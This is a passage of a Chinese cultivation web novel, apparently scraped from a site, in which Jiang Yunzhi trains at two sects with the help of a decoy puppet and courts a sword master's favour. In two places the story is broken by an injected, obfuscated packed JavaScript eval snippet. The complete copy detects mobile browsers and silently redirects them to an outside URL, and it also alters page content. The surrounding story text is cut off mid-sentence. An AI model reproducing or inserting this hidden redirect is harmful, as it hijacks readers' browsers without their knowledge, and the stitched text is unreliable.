“剑尊,你没事吧。”脚步声凑近,不含任何关切的敷衍话语从少女的口中响起。 少女目无礼法,一凑近便拿手中的丝帛擦拭起岑无朿衣袂上根本不存在的灰尘。 用的还是之前给章见伀擦过脸的那块丝帛。 高大修长的身影皱了皱眉,将衣摆从少女的怀中抽了出来:“你为何会出现在这里?” 神器:“因为吃饭,还有诈银子。” 姜昀之:“因为担心剑尊。” 少女面不改色,嘴角勾起:“弟子自和剑尊一别,便一直很担心,一路上寻了过来,看到师兄安然无恙,这才算是放心了。” “你担心我?”岑无朿面无表情地望着姜昀之的嘴角,“正仪容。” 少女嘴角还残留了些许糖霜,一看便知道那‘担心’算不上真话。 姜昀之被戳破也不恼,嘴角勾了勾,拿丝帛擦拭嘴角的糖霜,双眼直直地盯着岑无朿,似是在观察他有什么反应。 姜昀之:“糖霜是真的,担心也是真的,本来和同窗一起去吃饭,心念师兄,实在吃不下宴席,这才匆匆忙忙而来。” 少女抬起手中的山楂丸袋子:“师兄,吃一些吗?” 岑无朿审视地盯着姜昀之,半点要接过的意思都没有。 巧舌如簧。 眼神阴沉得比林间的暗流还要深,脸上却装出一副笑模样,还真是让人看不破。 说话间,地上的灰烬在缓慢地蠕动,邪物最后的一丝邪念钻入灰烬中,正缓慢地往岑无朿二人的方向靠近。 杀了他。 杀了他。 邪物只剩下如此残念。 血红的灰烬飞快从地面扬起,朝岑无朿飞去。 岑无朿冷漠地抬眼,他早已察觉到灰烬的钻动,并不放在眼中,邪物他都除了,曲曲余烬,挥手间便可陨灭。 他抬起手—— “师兄,小心。”姜昀之站到了岑无朿身前,嘴角勾起笑地望向空中挥洒而来的灰烬。 她当然知道这些东西伤不了岑无朿,但机会既然找上门,就没有放走的道理。 只是筑基的修为让姜昀之被溅过来的灰烬给烫到,手腕起了燎泡,往下滴血,姜昀之皱了皱眉,眼神变得阴沉。 “剑,”姜昀之念诀,“起。” 嗡鸣一声后,少女背后的剑“唰”得腾飞而起,落在姜昀之手中的那一刹,修长的手指挑起剑柄挥出去,身形流畅地旋转一圈,剑锋利若雪光,所及之处,将四周的灰烬全都冻住。 “噔”的一声,剑归鞘。 半空中的灰烬化为了冰渣子,扑朔地落下,溅起浅浅的冰雾,姜昀之的剑法和她整个人一样澄澈却凛冽,落入岑无朿的眼中。 真应了那句‘雨落风枭’。 确实很有天赋,也有自己的悟性。 剑归鞘的那一刹那,姜昀之的嘴角又重新勾起,装出一副楚楚可怜的模样,举起自己白皙的手腕朝岑无朿递去:“师兄,疼啊。” 少女的神情里全是是委屈,但乌黑的双眼里只剩下毫无波澜的观察。 姜昀之抬眼望着岑无朿:“师兄,我沾上邪气了,该不会死吧?” 岑无朿:“……” 姜昀之腰间的环佩接连发出了三声轻响。 11. 第十一章 岑无朿垂眼望向少女的手腕。 纤细的手腕上起了燎泡,洁白的肌肤衬得她被余烬灼伤的伤口格外青黑,好似一幅完美的绢画被毁坏,让人不禁心生惋惜。 而岑无朿的目光只是淡漠地掠过。 比起伤口更让人留意的是姜昀之凑近时,她身上春雪般的气息,那是一种近乎于虚无的洁净,和她整个人低沉的气质完全不一样。 姜昀之见岑无朿没有反应,继续将手腕递得更近,可怜巴巴道:“师兄,我疼。” 她道:“邪物的灼伤极难祛除,弟子该不会真的要死了吧?” 岑无朿:“不至于要死。” 姜昀之把手腕递到了他的手上:“师兄有办法?” 少女抬起眼,期待地望着岑无朿。 姜昀之的手腕不堪一握,在岑无朿宽大手掌的对比下更显纤瘦,岑无朿猝不及防触碰到她的手腕,他皱了皱眉,终究没放下。 此事因他而起,由他解决也不是什么难事。 此人有几分天赋,若是拿剑的手留下后遗症,倒是可惜。 岑无朿骨节分明的手指握住了姜昀之的手腕,将她拽近,姜昀之根本不用拽,已然凑近他,认真地盯着他,看他将手覆在自己的伤口上。 和他一样冰冷的灵气在她的手腕上蔓延,灼烧的伤口缓慢地愈合,不过灵气作法带来的疼痛竟比邪物的灼伤还要疼,几乎像针在燎泡里挑动。 “疼。” 姜昀之缩了缩手腕,却被岑无朿牢牢地拽住:“中断了还要重来。” 姜昀之:“可是,真的疼。” 她这般说,脸上并无半分惧意,显然这些疼痛对她而言不值一提,就算脸颊因疼痛生理性地升上了一抹潮红,她的神色也波澜不惊。 当岑无朿望向她的时候,神情里却只剩下楚楚可怜:“师兄,疼……” 岑无朿无法理解为什么一个剑心之人会如此脆弱,放轻了灵气的力道,姜昀之手腕上的疼痛变轻,脸侧的潮红逐渐褪去。 伤口彻底愈合,姜昀之依旧不把手撤回来,被岑无朿撂开后,无所谓地笑了笑。 真是冷漠。 岑无朿的手掌却似乎还残留着细腻的触觉,这让他皱了皱眉:“修剑比这疼多了。” “练剑一回事,受伤时另一回事。”姜昀之道,“师兄,你放心,在习剑上,弟子不会因为一点疼痛就气馁的。” 她紧接问:“师兄,我适才的剑法如何?” 姜昀之:“也是我闲暇时自己悟出来的。” 岑无朿能看出她的剑法有其特有的气质,对于有关剑的事,他不会故弄玄虚:“你确实适合练剑。” 姜昀之好看的眉眼扬起:“真的?” 她行礼道:“能得到师兄的认可是我的荣幸,弟子一定竭力进入内门,让师兄亲自教我习剑。” 岑无朿面无表情道:“我平日里不在山门内,你若是想找我习剑,怕是还要再等几年。” 神器:“啊?!” 神器:“说好的亲自教诲呢,你也同那章见伀一样神出鬼没的,不在山门内?你要去哪里啊!” 明烛宗的这位天道之子不常在山门之内的原因很好推导,神器转念一想就想通了,岑无朿易招邪物,还是些遮天蔽日的大邪物,久留在明烛宗,会给明烛宗招致灾祸。 神器:“棘手了。” 听闻岑无朿的话,姜昀之不解道:“师兄,为什么你不愿意亲自教诲我?是我的能力还不足以入你的眼吗?” 岑无朿冷漠地开口:“你才刚筑基,还没到我亲手教你的地步。” 此话其实已然承认了他对姜昀之实力的认可。 岑无朿:“你若是能入内门,先照着我留下的剑经好好打基础,至于其他事,往后再议。” 事情没有走向自己想看到的方向,这让少女的眼神中升上了些许不耐烦,不过声音还是很柔和:“可是我进内门,就是为了得到师兄的教诲。” 岑无朿看过来的眼神变得凛冽:“戒骄戒躁,你是有些天赋,但还有很多比天赋更重要的事。” 他似是觉得少女太过骄躁,沉声道:“你进内门难道是为了见我么?比起见我,你更应该用这几年好好地打基础。” 姜昀之:“可我进内门本来就是为了见到师兄。” 少女执着而直白的话语让岑无朿顿了顿。 姜昀之沉沉地抬起眼:“我并不贪图师兄的剑经,若是不能跟在师兄身边得到你的教诲,我进内门又有什么意义?” 岑无朿:“为什么要见我?” 姜昀之:“因为师兄身上有许多比剑法还值得学的地方。” 少女说话的时候始终直视着岑无朿:“师兄既然答应了会亲自教导剑心之人,我想日日见到师兄,难道不行么?” 她道:“我敬仰师兄,想时刻见到师兄,不行么?” 岑无朿无法理解她的执着,也不想理解。 想见他的人很多,人人都想见到他的话,他早就分成无数个分身了。 他知道姜昀之靠近他有目的,她并没有掩藏她眼中的那分野心,不过他并不想往深里探究她在想什么,他并没有这个闲情:“其他事往后再议。” 话音落下,高大修长的身影转身离去。 “师兄,我说的是真话。” 岑无朿停下了脚步,因为姜昀之突然拽住了他的手腕:“弟子会拜入内门的,我会让师兄知道我是值得被亲自教诲的存在。” 少女道:“无论师兄走到哪里,我都会去找你。” 岑无朿冷漠地将手抽走,高大的身影消失在阵法中,只留下一阵冰冷的风。 他走得太快,让人不确定他有没有听见她后面说的话。 人走后,姜昀之站直身,脸上的笑意慢慢地撤走,恢复成面无表情的平静。 神器:“够阴沉,够偏执。” 神器继而又惋惜道:“果然是无情的天道之子,也不知道有没有听见契主你刚才说了什么。” 姜昀之淡淡道:“不管他是否听清了,只要知道我在试图讨好他、对他有所目的,就行了。” 神器好奇道:“契主,你刚才为什么要拉住他的手腕,他有洁癖,你不担心不被扣分吗?” “我知道。”姜昀之道,“我不是想拉他的手腕,我是趁着刚才的靠近……” 少女手上的丝帛没了。 她趁着适才的拉扯中,将自己的丝帛悄悄地系在了岑无朿的身上。 姜昀之嘴角的笑勾了勾:“希望有所作用吧。” 凡事都得试一试。 神器一下精神振奋:“对!凡事都得试一试。” 姜昀之:“环佩适才接连响了三声。” 神器:“对,让我来读取。” 神器读取了片刻,声音变得雀跃:“在契主你用剑挑灭余烬后,好感值接连变化了三次,先是加一分,后来减一分,最后加了一分,分数增加在他对你能力的认可,以及认为你确实适合练剑,减在了你对伤口说疼的时候。” 神器:“总之,最终结果是加分!恭喜契主,我们现在一分好感值了,可以变成灵气传送回我的封地了!” 姜昀之:“嗯。” 她简短地应声后,走向暮色中。 神器:“契主,我们现在去哪里?” 姜昀之:“去买傀儡。” - 姜昀之去集市买傀儡,神器也没闲着,它蓄积到了天道之子的灵气,赶忙往封印地里传。 相隔千里的湌松宗,后山上,缓慢地升腾起一股灵气,让贫瘠的土地显现出灵光,半个时辰后,一棵枯萎的灵植缓慢地恢复生机,重新长出枝叶,不再枯黄。 虽只是复活了一株灵植,但带来的却是无限的希望。 正堂办公的掌门若有所感,立即闪现到后山上,望着土地上在风中摇动的灵植,小心翼翼地用阵法把灵植层层围住。 一张老脸涕泪横流,哭出驴叫。 围观的盈寸长老:“……” 掌门:“天不灭我湌松,我宗复兴有望啊。” 盈寸长老:“就一棵灵植,顶多供一人用,谈何复兴?” 掌门继续哭:“今日一株,明日一株,一株复一株,可积水成流。” 盈寸长老:“全凭我那徒弟一人担当?你什么时候能让她回来?” 掌门抹了抹眼泪,作高深状:“昭明她有天命的命格,又被神器看上,多历练些总是好事。” 说了一半,掌门疑惑地四处看:“咦,哪来的风?” 定睛一看,紧盯着他的盈寸长老杀意毕现,一阵阵杀风朝他涌来。 掌门:“……” 掌门仓皇而逃,远离盈寸保命。 - 已然是傍晚,集市嘈杂,人声鼎沸。 姜昀之简单吃了个饭后便去买傀儡,这买傀儡的时间大抵是她最后的空闲时刻,明日便要同时开启两个宗门的苦修了。 神器:“我已经打听过了,明烛宗的苦修形式是挥剑,在苦无峰下,日复一日地挥剑。” 只需要挥剑,听起来要比负雪宗简单,其实不然。 神器:“明烛宗太狠了,每天只让弟子休息两个时辰,其他的十个时辰,必须要在苦无峰下挥剑,不停地挥,不能停歇。” 明烛宗此举倒也不是为难,挥剑向苦无峰山石时,苦无峰会迸发灵气对抗,日复一日的挥剑,方可滋养剑意。 神器:“这种苦修的法子又叫熬峰。” 其他宗派是熬鹰,明烛宗比较特殊,要熬峰。 神器:“每个进入明烛宗的弟子都熬过峰,这是给剑修打基础的法子。苦无峰环境恶劣,阴冷潮湿,且每每挥剑常有灵气相阻,苦修起来不是一般得苦,骨头很容易被震碎,体质不好的弟子很容易倒下,很少有人能熬过半个月的苦修。” 神器:“从明烛宗角度来看,倒是一个很能筛选好苗子的法子。” 姜昀之不动声色地听完,有关明烛宗的苦修,她也早有耳闻。 她的重点不在有多苦上。 姜昀之:“这种单一的苦修,更适合傀儡去完成。” 神器一下就懂了:“契主,你是说……让傀儡留在明烛宗?” 姜昀之:“大部分时间内。” 不可能让傀儡完全替代她在明烛宗的修炼,傀儡的存在是来补缺她无法分身的空缺,不是用来偷懒的。 挥剑也许能让傀儡造假,可修炼了多少、自己学到了多少、基础能有多扎实,是无法造假的。 姜昀之:“要想获得别人的认可,便不可能在修炼上敷衍。” 她需要利用傀儡穿梭在两个门派内,不管用什么办法,都必须要兼顾两个门派的修炼,一门都不能落下。 神器:“好、好辛苦。” 想想就辛苦。 神器:“不过傀儡确实更适合留在明烛宗,尤其是白天。” 神器:“傀儡又没有法术,做不到抓血珠子这种太过灵活的事,挥剑这种单一的动作,更适合傀儡去伪装。” 集市里卖傀儡的店铺不少,能入姜昀之的傀儡不多,此事关乎性命,需得谨慎些。 货比十五家后,最终定下了一个一万银石的傀儡。 傀儡最重要的不是本身质量如何,而是其附带的阵法,一旦傀儡感应到有关键人物要和其发生交互,这时候一个好的阵法能及时把姜昀之传送过来,与此同时傀儡将被传送回姜昀之回原本待的地方,以此来抵挡分身不得的困境。 至于傀儡本身用什么材质做的,是否出自大家的手笔,就没那么重要。 店家喜滋滋地收下银石:“别看这傀儡糙是糙了些,也不是出自什么大门派,但传送阵法是一比一的好,其他一万银石的傀儡,最多传送个一百多次就报废了,而且传送得一点都不丝滑,但我们这个傀儡不一样,能包五百次绝不出错的传送阵法。” 姜昀之单手提起傀儡:“嗯。” 神器上下打量傀儡:“可……这也太糙了。” 没办法,预算有限,再贵些的已经买不起了,能捡漏到这么好的传送型傀儡已经是出乎意料。 不过……这是个男傀儡。 神器:“主要是契主你的个头比较修长,市面上的女傀儡很少有你这么高的。” 神器自我安慰道:“男傀儡就男傀儡,用上法术蒙面后都一样。” 傀儡都是没有脸的,脸就是木头,要长什么样子还得由施法人定型。 走出店铺后,神器依旧嘟嘟囔囔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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杜衡喝醉了,步伐踉跄,眯了眯眼睛望向傀儡,歪歪扭扭地行了个礼:“之明道友。” 他眯了眯眼睛,敏感地察觉到姜昀之似乎出现了些许变化,是自己喝得太醉了么,他怎么感觉这位之明道友没有刚开始那么惊为天人之姿了,定睛看了看,没看出有什么变化,反正就是有所不同。 是气质?还是气场? 杜衡喃喃道:“我真是醉了。” 一路上静默,杜衡走在傀儡旁说醉话:“之明道友,我要去天南宗,我本是要去天南宗的……” 酒后吐真言。 杜衡:“明烛宗好是好,可我的本命宗派是天南宗,我已经考了五次天南宗了,次次都落选,这才选择了明烛宗,我是雷灵根,本就最适合天南宗。” 傀儡沉默半天憋出两个字:“为何?” 醉了的人也说不出个仔细来,杜衡道:“你、你以后去了就知道了。” 真是醉糊涂了,既然已然身入明烛宗,怎么可能再入天南宗?杜衡为自己的话摇了摇头。 一人一傀儡分道扬镳,傀儡回到自己屋子后关上了门,傀儡是没有思绪,也不需要睡觉的,他坐到床边后,呆呆地坐着,不再有任何动静。 马车半空的画面消失。 神器看完,锐评道:“除了有些人机外,也能凑合用。” 神器:“刚才他们说起了天南宗,等我们二十天后去往天南宗的选拔,就能见一见让杜衡那么向往的天南宗了。” 姜昀之沉静地应了一声,阖上眼,闭目眼神。 - 明烛宗。 霜古山。 岑无朿回到了宗门,一路上的弟子们俱躬身行礼,一声声‘大师兄’后没一个人敢抬头。 内门弟子们对岑无朿的敬畏是深到骨子里的,自他们进山门后,已然目睹太多天之骄子与大师兄比试后沦为废人、修为尽失的例子,众人对这位剑尊,畏比敬要多太多。 明烛宗宗规森严,极重礼法,由是岑无朿已经离开了,几位行礼的弟子还保持行礼的躬身姿视。 岑无朿冷漠地瞥过他们。 这才是尊卑礼法,弟子们见他时会拘谨地垂首,而不是像姜昀之一样,毫不避讳地直视他。 岑无朿的脑海中浮现出少女的身影。 也许是初生牛犊不怕虎。 岑无朿的居舍和他整个人一样冰冷,没有任何人气,池塘里没有任何活物,有的只是冰冻的水。 他行至院子里,忽而停住脚步,凛冽地往天际看了一眼。 又来了。 他能感应到万里之外,有邪物在地底游动,显然是感应到了他的存在,预谋朝他靠近。 也许凌晨就能到达,也许明日白天才能找到他。 岑无朿冰冷的双眼更显无情,神魂中升起一股深深的不耐烦。 真是……让人厌烦。 这个世道没有什么存在的意义,起码在他看来,全无意义。 迟早有一天,会彻底陨灭。 这股厌世让岑无朿周身的灵压更盛,庞大而无情地往下镇压,让方圆十里的鸟兽都尖叫着往外逃亡。 波动的灵气灼烧神魂,岑无朿头痛欲裂,虽不露于形表,骨节分明的手充血,手背青筋毕现,此时,一股柔和的春雪气息若有若无地传来,将岑无朿周身的躁气缓慢地吹散。 哪里来的雪? 岑无朿垂眼,望向自己衣摆上多出的丝帛,洁净的春雪气息由此传来。 少女乌黑的双眼历历在目:“我会让师兄看到我的。” 岑无朿皱了皱眉,手一抬,丝帛于瞬间焚烧,化为灰烬。 那若有若无的春雪气息也随之消失。 与此同时,姜昀之所坐的马车上,环佩发出了一声轻响。 神器:“!” 神器:“这是怎么了,明烛宗天道之子的好感度凭空加了一分!” 闭目养神的姜昀之睁开了双眼,嘴角轻轻地勾起笑:“看来,丝帛没有白白留下。” 12. 第十二章 清晨,雪花飘飘洒洒落下,于晨光中泛出光亮,鸟鸣声清脆而响亮。 马车回到了负雪宗。 马车内,姜昀之站起身,修长的手指掀开帘子,往外走。 神器惊奇地感受到随着他们抵达负雪宗,昀之身上独属于明烛宗的阴沉气质逐渐褪去,缓慢地转变回她在负雪宗的纯澈与洁净。 身上的罗裙也变回了荔枝白,如瀑的发丝盘成了两股垂髻,粉白的发带垂落,从身后望去,少女若粉雕玉琢的雪兔。 神器:“卡、卡哇伊。” 姜昀之朝山上走去。 又要开始新一天的苦修了。 - 日头亮,山景无限好,可惜和苦修的弟子们无缘。 一群弟子们刚结束负重绕山跑,拖着沉重酸痛的躯体前往寒潭。 昨夜没有卷神的存在,众人约定俗成地没有卷起来,休息得不错,所以这次绕山跑没人倒下,俱有余力去瀑布打坐。 行至瀑布旁,弟子们在瀑布间瞧见一道熟悉的身影,脚步本能地定住了。 果然,‘卷神’回来了。 弟子们:“……” 轰鸣的瀑布呼啸而下,溅起阵阵庞然的水雾,从天而降的水流几乎要将潭中人给砸裂开,姜昀之坐在最湍急的水流下,任由瀑布如石般砸落于身,静默地闭目打坐,不动如山。 “她不怕被瀑布砸裂开吗?”一位男修士远远望着姜昀之开口。 是上次说要给竹筒饭的男修士,名叫萧舟。 萧舟:“为了保命,我这辈子都不可能去瀑布中央打坐。” 萧舟:“真是个狠人。” 另一女修士,名叫叶素玉,她道:“昭明道友今日打扮得好生……可爱,像雪中白兔。” 说完,叶素玉因自己的话打了抖,她竟然会觉得卷神可爱。 萧舟:“还小白兔呢,我看像个大白虎。” 这话声音太大了些,周围人都听到了,包括瀑布正下方的姜昀之也朝他看来。 对上姜昀之沉晦乌黑的双眼,萧舟的灵魂仿若都被看透了,他莫名打了个哆嗦,立马垂下脑袋。 等等…… 不对啊,他记得姜昀之不是那种不谙世事的气质么,怎么突然有了如此深沉的眼神? 昭明道友明明是和负雪宗格格不入的纯真气质,适才的阴沉气质可一点都不像她本人,如若她一开始就有如此的气场,也不至于被其他人戏称为‘瓷美人’了。 是他看错了吗? 姜昀之:“……” 忘了,这不是明烛宗。 萧舟再次抬起头,朝姜昀之望去,只见少女朝他瞥来一眼,露出一个懵懂的笑容。 啊……刚才果然看错了。 果然还是这种和负雪宗格格不入的模样。 不过这也不耽误他被格格不入的姜昀之卷生卷死。 三个时辰后,又到了弟子们最讨厌的捞珠子时分,池子的里飘满血和尸体,暗红的浆液翻滚,被瀑布冲刷了一整个下午的弟子们魂魄出窍,双眼放空地看着池子里的尸体,连干呕的力气都没有了。 池子里,姜昀之已经捞了有一阵,修长的身影没有任何停歇。 萧舟举着竹筒饭,眼神涣散:“难道她不累么?” 叶素玉:“她似乎已经捞满十个了,这么快。可为什么还在捞?” 萧舟一脸想死地神情吃着竹筒饭:“不知道啊,别卷了,别卷了……” 神器:“这不是卷,这是得把后面四天的珠子也捞完,这样就能把时间空出来,去明烛宗练剑。” “潜心修炼果然会让人进步。”神器道,“契主,你好像有进步了。” 上次她是五个五个地捞,这一次已经能一次捞出八个珠子,修长有力的手紧紧地攥住珠子,手背青络毕现,无论血珠子如何挣扎都挣脱不了她的手掌。 到最后,姜昀之一次已然能捞出十个珠子,所到之处,血珠子被她扫荡一空。 “恐怖如斯。”萧舟看着手中的竹筒饭,一粒米饭都吃不下了。 看看人家! 再看看自己! 还吃呢! 好多岸上的弟子瞧见姜昀之一次能捞出十颗珠子,被刺激麻了,实在受不了地下了水,也想要进步。 “不是我们不能,是我们没那么卷罢了。” “受不了了,我现在也要捞出十个珠子。” 弟子们“噼里啪啦”地下水,如同炸进油锅的鱼,溅起一波波水花。 姜昀之专注于观察水底血珠子的轨迹,没有发现血池里多出许多人,自己的身边也多出许多弟子。 直到一道身影挡在了她身前。 一个蒜头鼻的弟子,名叫王樵,他恶声恶气道:“别捞了!” 姜昀之依旧盯着水下的血珠子,反应了会儿才直起身,意识到对方在和她说话,露出懵懂的眼神。 王樵:“说的就是你!怎么这么自私呢,你都捞完了,让别人怎么捞?” 姜昀之抬眼道:“池子里每天都会诞生上千颗血珠子,不存在捞完之说。” 王樵:“可是你这里的珠子尤其多,你占据了最好的地方。” 他大手一挥:“你别再在这里捞了,把地方让出来。” “不是这里珠子多,是我捞出来得多。”姜昀之平静地陈述。 王樵横眉冷对:“那你就是不走了?” 姜昀之不动如山地站在原地:“这位道友,你知道先来后到这几个字怎么写吗?” 许是在明烛宗释放过阴暗面的原因,姜昀之面对不耐烦的事,自然而然地没再隐藏内心的厌恶,她沉声问:“需要我教你?” 王樵听完后大怒:“你!” 他没能说完,因为姜昀之直接在手中捏碎了一颗血珠子,发出的动静让王樵瞬间停下了话语。 能空手捏碎血珠子,此人的修为比他所想象的要高。 姜昀之:“你若是想和我比试,也行,你赢了我便把位置让给你。” 少女脸上的笑依旧纯净美好。 王樵愣了愣,望着漂浮在血水上的血珠子碎片,终究什么话都没说。 他是个欺软怕硬的人,本来听闻‘瓷美人’善良本分,这才过来出言挑衅,试图搓一搓她的锐气,没想到这人竟然是这么个姿态。 善良天真,不代表好惹。 王樵自知能力不够,端着极为难看的脸色走了。 神器:“怂货。” 周围弟子看到王樵铩羽而归,也没了上前挑衅的心思,老实地干起手中活儿。 这种小事不足以姜昀之放在心上,俯身,继续捞剩下的珠子。 再捞两颗珠子,便能凑够五十颗珠子。 如此,接下来的四天便不需要再来血池,酉时之后的时间可以全心在明烛宗练剑。 两颗珠子很快被她捞出来,姜昀之将珠子放入乾坤袋,没有因为捞完珠子而欣喜,像是感应到了什么,她突然直起身,神情变得凝重。 神器:“怎么了?” 它好像也感应到了些什么。 姜昀之:“傀儡。” 她道:“我感应到明烛宗有人在靠近我的傀儡。” 明烛宗。 苦无峰。 外门弟子围聚在苦无峰山下,在黄昏中苦练挥剑,剑砸向山石的铿锵声接连不断地响起。 弟子们的神情大多生无可恋,后背一阵一阵地出汗,挥举了一整天的胳膊已经疼到没有知觉。 早上刚开始挥剑时,弟子们大多还能有几分精神气,每个人都挥剑挥得生龙活虎,随着挥剑的时间越来越长,胳膊酸痛到仿若已经没长在自己身上,每挥动一下剑,臂膀都会被山石迸溅出来的灵气狠狠地反震,肩胛骨连着腰一齐疼。 累了一整天,弟子们早就没了任何精神气,挥剑是这世界上最无聊最枯燥的修炼,一想到他们一整天只能休息两个时辰,众人挥剑的动作愈发机械,眼神逐渐涣散。 杜衡站在傀儡身旁。 姜昀之一直话少,由是傀儡没怎么说话并没有引起杜衡的起疑,只不过他总感觉之明道友今日的画风好像有些奇怪。 好像……刚毅了些? 也许水肿了吧。 杜衡暗自猜度着,毕竟他昨夜宿醉,也水肿了很多。 傀儡依照符咒的指令行事,正‘吭哧吭哧’地挥剑,每一剑都挥得一模一样,不知疲倦,但动作也没多标准,已是一个傀儡挥剑的极致。 因为他没有意识,所以他没察觉到自己被人盯上了。 还不止一个人。 苦无峰的对面,岑无朿以及几位长老、高门弟子站在山顶上,一览众山小地看着山下弟子们的修炼。 众人的关注点都在傀儡身上,毕竟那可是能被岑无朿纳入眼中的剑心之人。 “这就是剑心之人?看起来没什么特别的。”岳长老疑惑道。 岳长老身旁站着他的徒弟卫守心,是明烛宗的高门弟子,他展开手中的扇子,摇了摇头:“我看她挥剑的动作如此呆板,还没我当初入门时厉害。” 卫守心望向岑无朿:“这样的人,能是剑心之人?” 卫守心是师门中少有地能和岑无朿对上两招的弟子,他原本和岑无朿都是雾隐仙尊的徒弟,后来实在被岑无朿的实力刺激得食不下咽,改拜岳长老为师。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16755448|189029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>其他几个长老和高门弟子看了几眼山崖下的傀儡,也不明白剑风如此虚浮的弟子为何能是剑心之人。 他们望向岑无朿。 岑无朿面无表情地望向苦无峰山下,凛冽的眼神变得更为冷漠,他皱起了眉。 卫守心:“感觉还没有那个双天灵根厉害。” 岳长老重重地点头:“是没有他厉害。” 差远了。 岳长老正是那位看中邹解经,将其直接收入门下的长老。 遭遇这么多人的审视,傀儡毫无察觉,但万里之外的姜昀之却感应到了。 神器:“不好!” 姜昀之立刻念诀,启用了傀儡的传送阵法。 山峰上这么大能,再加上岑无朿已然化臻的境界,区区傀儡很容易露馅,它之所以被围睹了这么久都没有被发现,是因为神器在它的身上留了一些神力,可以一叶障目。 神器再怎么弱,再怎么边角料,好歹也是神界的产物,短暂的障眼法还是可行的。 不过支撑不了多久。 正是因为这一点,神器才会惊呼不好,不过幸好姜昀之发觉地快,立即就将自己传送了过去,恰恰好卡在了一叶障目快要失去效用的边缘。 一瞬间的事,姜昀之已然身处苦无峰,而傀儡,它站在了血池中。 傀儡的传送阵法完全值一万银石,旁人丝毫没发现身旁的‘姜昀之’已然换了一个。 傀儡迷茫地站在血池里,动作惯性地挥了几下剑。 正在捞珠子的萧舟大惊失色:“什么!这是什么新的卷法!捞完珠子了她难道还要在血池里练剑么?” 傀儡挥了几下后反应过来这里不是明烛宗,呆呆地上岸了。 萧舟松了口气:“吓死我了。” 叶素玉:“修炼果然辛苦,昭明道友好像水肿了些。” 傀儡不需要再修炼,直接回居所就行了,另一处的姜昀之可没这么轻松了。 她一身置此身,便能感应到几股灵压朝她监察而来,尤其是岑无朿的那股灵压,凛冽到骇人。 神器:“契主,怎么办?他们好像对你刚才的挥剑特别不满意。” 神器若有人身,必然吓出了一身冷汗。 其他人不满意没事,要是岑无朿不满意那就完了,好不容易争取来的留意,很有可能就功亏一篑,岑无朿那般无情的人,以后也许再也不会分一丝眼神给契主了。 如冰的目光扎在了姜昀之的后背,短暂的慌乱后,她缓慢地攥紧了手中的剑。 如若她还保持傀儡的挥剑姿态,岑无朿往后必定不会再对她有所留意。 不能抱有任何侥幸心理,要把对方的考量当成最后一次机会。 姜昀之屏息凝神,澄澈的双眼缓缓地变得沉静而阴晦,直直地望向身前的山石,修长的手指将剑柄越攥越紧。 把眼前的山石想象成邪物。 念及此,手中的剑被她提起,灵府中的灵气汇于剑刃,砸向山石。 “轰!” 姜昀之的肩膀被山石狠狠地反震,剑身在山石上砸出一道裂缝,不断往外溅石粉。 这动静大到三米之外挥剑的杜衡差些摔倒。 他原本挥剑挥得都快睡着了,这才毫无提防,突然平地一声轰,他直接没站稳。 怎么了这是?! 地、地震了? 一抬头,看到姜昀之身前的山石被活生生砸出一道扭曲的大缝,杜衡的嘴不由自主地张大。 随着这一道剑落下,山峰上那些审视的目光顿时出现了变化。 姜昀之依旧沉沉地盯着山石。 还不够。 若是要让他们不生疑,接下来的每一剑,她都得保持这个水准。 姜昀之紧紧地攥住长剑,凝气于神,剑身表面缓慢地结了一层冰霜,她望着山石的眼神有若在看仇人,再落剑时,又是一声“轰!”。 “轰!” “轰!” “轰!” 一剑又一剑不断落下,就算姜昀之的臂膀被震到脱臼也没管,不停歇地挥剑,不知疲倦,石块滚落。 “轰!” “轰!” “轰!” 山石“噼里啪啦”地滚落。 山峰上的质疑声瞬间没了,卫守心惊讶地提眉:“这种修法,她不要命了?” 岑无朿目不转睛地望着山峰下,眼中的冰冷褪去了些。 卫守心:“不是,这人的剑法怎么突然变化这么大?适才的剑那么呆板,现在的剑法又如此森冷,如若她早拿出这种态势,我也不会怀疑她不是剑心之人了,简直、简直……” 简直像换了一个人。 13. 十三章 “轰!” “轰!” “轰!” 苦无峰前,姜昀之的挥剑声阵阵响起,声声不断。 地面随之一阵一阵地震动,动静响到周围的弟子们都不约而同地停下动作,目瞪口呆。 这人怎么突然就燃起来了?! 不知道在燃什么,但是看着簌簌往下倾落的碎石块,以及在震动中不动如山的少女,原本觉得挥剑枯燥无比的弟子们也突然燃起来,纷纷重振旗鼓,朝山石用力使劲儿挥剑。 “砰!”“砰!”“砰!” 此起彼伏。 山峰上。 岳长老瞧着山下的姜昀之,收敛起脸上的轻视,缓缓道:“剑势沉稳,确实有剑心之人的样子了。” 又道:“不过,怎么突然有这么大的变化,她适才,是在……偷懒吗?” 长老不方便问的问题,弟子可以代劳。 卫守心也有此疑问,一个闪身直接瞬移到姜昀之身旁。 山峰上,岑无朿始终静默地看着峰下的光景。 卫守心展开扇子:“道友,你好。” 姜昀之专心练剑,眼神一动不动地盯着山石,根本没注意到身旁来了个人。 卫守心:“……” 姜昀之的目光始终沉沉的,而挥剑的气质也与她的气质一样沉郁,每一剑都重重地落在山石伤,激起更多的落石。 “轰!”“轰!”“轰!” 地面震动不断。 近距离地感受到这股剑意后,卫守心的表情变得愈发认真。 小小年纪竟然已经有了自己的剑风,真的是天赋异禀,怪不得能被大师兄看入眼里。 继续挥了上百剑后,姜昀之这才留意到身后多了一道身影。 长剑在她的左手绕了一圈,被她反握在手心,姜昀之站直身,皱着眉朝身后望去:“谁?” 少女的双眼尤为深黑,有若一池化不开的墨。 卫守心为人随和地抱拳:“在下卫守心。” 姜昀之:“谁?” 卫守心:“……” 